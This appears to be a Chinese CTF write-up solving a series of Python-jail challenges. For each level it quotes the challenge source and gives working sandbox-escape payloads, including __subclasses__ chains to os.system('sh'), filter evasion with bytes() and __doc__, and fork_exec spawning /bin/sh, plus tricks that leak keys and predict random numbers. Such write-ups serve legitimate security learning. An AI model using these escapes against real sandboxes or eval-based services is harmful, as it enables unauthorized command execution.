这里是禁用了execinputeval,并且payload长度还限制在13

做过上面那个3之后就能发现这里还能用help()函数,当然这里还没有限制得那么宽,还是有点小富余的,这里再介绍一个,breakpoint()函数,进去后也是一个交互界面:

image-20230529203332491

这个Pdb是什么贵物呢:

pdb 模块定义了一个交互式源代码调试器,用于Python 程序。 它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python 代码。 它还支持事后调试,可以在程序控制下调用。 调试器是可扩展的——调试器实际被定义为 Pdb 类。

之后就是随便进shell了

image-20230529203605527

calc_jail_beginner_level4

知识点:bytes()\decode()、__doc__

关键源码:

BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)
-------------------------------------------------
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)

这次禁用了chr导致字符串拼接那种形式不能使用;禁用了__import__导致help()breakpoint()两个函数不能使用

然后发现没有禁用额外的字母什么的,后面只是单纯的禁用了单引号双引号反斜杠反引号
这让我想回了最开始做的SSTI注入,先直接试试看看能不能获得类

image-20230529212234350

有返回,而且倒数第4个是<class 'os._wrap_close'>可以加以利用
问题是禁用了chr不好构造字符串,想到了bytes这个函数似乎有构造字符串的妙用:

print(bytes([115, 121, 115, 116, 101, 109]))	# b'system'
print(bytes([115, 121, 115, 116, 101, 109]).decode())		# system
print(bytes([115, 121, 115, 116, 101, 109]).__class__)		# <class 'bytes'>
print(bytes([115, 121, 115, 116, 101, 109]).decode().__class__)		# <class 'str'>

现在就可以肯定了,bytes()加上decode()这两个函数也可以构造出字符串,上面构造的是system,这里再构造以下sh就行了

payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

实际为:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

image-20230529213001547

成功获得shell


当然不止一种方法,下面介绍一下__doc__魔术方法

像一些默认类,如:str、dict、list等,都会有相应的文档。这时可以直接从__doc__里面去找,用索引的方式获得想要的字符,并拼接再一起,得到想要的字符串。说白了就是硬凑拼图

例如:元组的doc如下:

print(().__doc__)

'''
输出:
Built-in immutable sequence.

If no argument is given, the constructor returns an empty tuple.
If iterable is specified the tuple is initialized from iterable's items.

If the argument is a tuple, the return value is the same object.
'''

可以利用find命令来查找字符下标:

print(().__doc__.find('s'))

'''
输出:
19
'''

那么就又可以拼接了:

# system
().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]
# sh
().__doc__[19]+().__doc__[56]

payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

实际为:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

当然还有直接读取的方法,但是那些方法不确定性太强了,说白了就是纯靠猜,猜不中就寄,清高ctfer,不是shell的我不要

calc_jail_beginner_level4.0.5

这次没源码了,但是给提示了,不一样的吗??

image-20230529215553562

无所谓,看哪个payload能用就用哪个便是

calc_jail_beginner_level4.1

image-20230529220415842

bytes被禁用了,但是没关系,既然bytes也是个class,那么也能够通过,找类的形式找到

题目所给的bytes类再第6位:

().__class__.__base__.__subclasses__()[6]

paylolad:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

这个就是bytes了,之后再用bytes进行构造就是了,这只是一个额外知识点,平替方法太多了
也是一样,看哪个payload能用就用哪个便是

另外这个题耍了点小滑头,把flag的名字给变了,自己看看就知道了

calc_jail_beginner_level4.2

知识点:join()

image-20230530102350084

这里byte也禁用了,但是还是能使用类的形式来构造bytes

所以payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

另外因为禁用了+的原因字符串拼接的形式就用不了了,这个时候需要改变一下拼接的形式
除了直接使用+连接字符串之外,还有一种常用的方法,如:‘join()’函数

''.join(['s', 'y', 's', 't', 'e', 'm'])

这样就能得到字符串system
然后又要绕过单引号,这里可以使用到str()这个函数来进行,其实str()这个函数就是相当于一个双引号,反正就是用于包裹字符串的就是了,上面这个又可以写成下面这种形式:

str().join(['s', 'y', 's', 't', 'e', 'm'])

然后把其中的字符用__doc__的形式代替就可以了

payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

image-20230530105200133

calc_jail_beginner_level4.3

Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+

上面还是又payload能继续用,分别是类的形式和__doc__的形式:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

image-20230530110603524

这里有个小坑点而已,不过也还好

calc_jail_beginner_level5

知识点:dir()

image-20230530110821423

终于没有那么一堆东西了,这里说flag再dir()里面
那么你就先看看dir里面有什么

image-20230530111324397

['__builtins__', 'my_flag']

跟进去看看:

image-20230530115905561

看见一个flag_level5,继续跟进看看:

image-20230530120005668

这里面有一堆的函数,发现个可用函数encode(),尝试直接调用

image-20230530120112479

这些基本就是dir()的用法,主要利用的点是如下:

dir() 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表

这使得能查看能用的变量名和能调用的函数


当然,这个题因为没有限制的原因,能直接使用一句话RCE

__import__('os').system('sh')

因为能拿到权限,所以还是建议去看看源码有什么新牛马的

# server.py
flag = load_flag.get_flag()

def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)
    
def main():
	repl()
	
-------------------------------
# load_flag.py
class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"

class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())

根据逻辑还是能懂的

calc_jail_beginner_level5.1

这一题和上一题是一样的思路,但这一题不能使用最基础的RCE,懒人就照搬上面的就行了

另外其实还有别的方法,SSTI注入的方法也是可行的
payload:

().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')

这里可以利用的类<class 'os._wrap_close'>变到倒数第6个去了,随机应变即可

关键源码:

# server.py
import load_flag

BLACKLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'open','print']

exec_func = exec
compile_func = compile
print_func = print

for k in BLACKLIST:
    del __builtins__.__dict__[k]

del __loader__, __builtins__

flag = load_flag.get_flag()

def main():
	repl()
	
def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile_func(input_code, '<string>', 'single')
    exec_func(complie_code, my_global_dict)
-------------------------------------------------------------------
# load_flag.py
open_func = open

class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"

class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
    with open_func('flag') as f:
        return flag_level5(f.read())

可以看到确实删掉了不少东西

calc_jail_beginner_level6

知识点:_posixsubprocess.fork_exec

image-20230530144244025

这里给出了部分的白名单和部分源码,简单尝试了一下后发现前面的所有方法都不适用了,需要用到新方法:_posixsubprocess.fork_exec来进行RCE。需要注意的是_posixsubprocess.fork_exec受python版本的影响,接受的参数可能会有不同

首先要做的是把这个给类给导进去

import _posixsubprocess

这里用的import肯定是不行的,但是能够绕过,才查看dir()的时候发现__builtins__还在,那么就能:

__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')

image-20230530150439882

然后的话有hile TRUE,可以输入多行代码

import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

image-20230530150649129

直接拿下shell,这里会才python和shell界面来回交替执行,只要一直输入自己想要的指令就肯定能成:

image-20230530151257179

calc_jail_beginner_level6.1

知识点:海象运算符、列表、无限迭代器

image-20230530151352555

这次的话和上次不同,只有一次执行代码的机会,这里可以运用到python3,8开始引入的一个运算符海象运算符

:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值

这里可以通过使用海象运算符和list的方式获得代码:

[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

image-20230530205049649

发现能弹shell,但是弹出后就立马停了,这个时候就需要使用到无限迭代器itertools

[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

虽然说是无限,但其实在一定的次数后还是会退出进程,这里就是拼手速的时候了,建议提前复制好要输入的内容,等开始直接粘贴回车

image-20230530205732772

image-20230530205905099

没办法,凑合着用吧

calc_jail_beginner_level7

知识点:函数装饰器、类的定义

image-20230531100037128

这个系列的最后一题,给了个窗口,先按照提示输入对应的字符看看:

image-20230531100152384

image-20230531100218237

G是表明了黑名单,这里不能执行import,不能定义函数,不能使用lambda表达式,可以的就是能执行多行代码。这个时候想到类的定义

@exec
@input
class A: pass

这里前面两个是函数装饰器:把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数
后面这个是一个类定义,这里的pass的主要作用就是占据位置,让代码整体完整,定义一个空类会报错

尝试执行:

image-20230531101153179

进入main函数主体,这个时候就可以通过使用一句话RCE来获取shell了

__import__('os').system('sh')

image-20230531101340984


这个系列就结束了,个人觉得还是挺面向新手的,一步一步来吧


python2 input

这里给出了源码:

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

根据代码形式,可以知道这个是python2的环境了
这里涉及到python2的input函数和raw_input函数

在python2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值
在python2中,raw_input函数从标准输入接收输入,并返回输入字符串
在python3中,input函数从标准输入接收输入,并返回输入字符串
可以简单的认为:python2中input()=python2中eval(raw_input())=python3中eval(input())

根据源码,可以知道这里用了input函数,所以可以直接使用一句话RCE:

__import__('os').system('sh')

image-20230531110958780

lake lake lake

知识点:globals

给出了关键源码:

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")
--------------------------------------------
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

简单审计一下,发现输入1的话会限制长度为9位,输入2的话会让你输入语句与key比较后再进行输入,这个就没有长度限制

这里仔细审计的话,可以知道key是个全局变量,因此可以使用globals这个函数来泄露所有的全局变量的值

image-20230531151851714

这里就知道key的值是多少了

key=a34af94e88aed5c34fb5ccfe08cd14ab

然后无限长度的话就可以使用一句话RCE了

__import__('os').system('sh')

image-20230531151950115

laKe laKe laKe

知识点:random()

给出了源码:

#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score
--------------------------------------------------
def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

python3.8将audit hook机制引入了sys模块,虽然机制的引入是为了给沙箱执行提供安全保障,但单纯的audit hook也不能做到完全的安全

在这里,是不能调用pty.spawnos.systemos.execos.posix_spawnos.spawnsubprocess.Popen这些可以直接RCE的函数,另外,我们不能使用compileevalexecopen这些函数

这里的话我们只需要输入正确的随机数就能得到flag,这里的随机数生成采用的是random.randint()的形式来生成的
由于这里没有限制random模块,所以可以先拿到这个模块,再利用random.getstate()这个函数来拿到随机数生成器的状态,之后使用random.setstate()设置随机数生成器状态为生成书技术之前的状态,最后random.randint生成的随机数就是一样的了

这里需要使用到list的形式,把返回值放到最后一项,最后再价格[-1]就能返回随机数了,另外这里需要令计数器为0

[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

image-20230531155921818

l@ke l@ke l@ke

知识点:__main__

给出了 源码:

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")
--------------------------------------
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

这回长度限制到了6个字符,看来得用老办法help(),但发现!sh不能进入到shell里面去,这时候就要想到另一种思路了,既然能进到模块中去,那么可以尝试直接进入__main__中去,这时应该会返回当前模块的信息,其中包括全局变量:

image-20230531160742426

可以看到有key

95c720690c2c83f0982ffba63ff87338

然后就可以像上上个题目一样了

image-20230531160905157

s@Fe safeeval

知识点:lambda表达式

给出了黑名单和一些源码:

Black List:

    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]

some code:

    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)

这里是基于代码字节码的操作码来进行拦截的,普通试了一下,发现会报错,这种情况可以试一试lambda表达式:

比如:

print((lambda: 1 * 2)())
输出:
2

我们就能以这种形式来构造payload:

(lambda: __import__('os').system('sh'))()

这时候就能getshell了

image-20230531194103773
大多还是根据别人的wp加上自己的理解写成的吧,侵删🙏
然后就是老规矩了
请添加图片描述

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值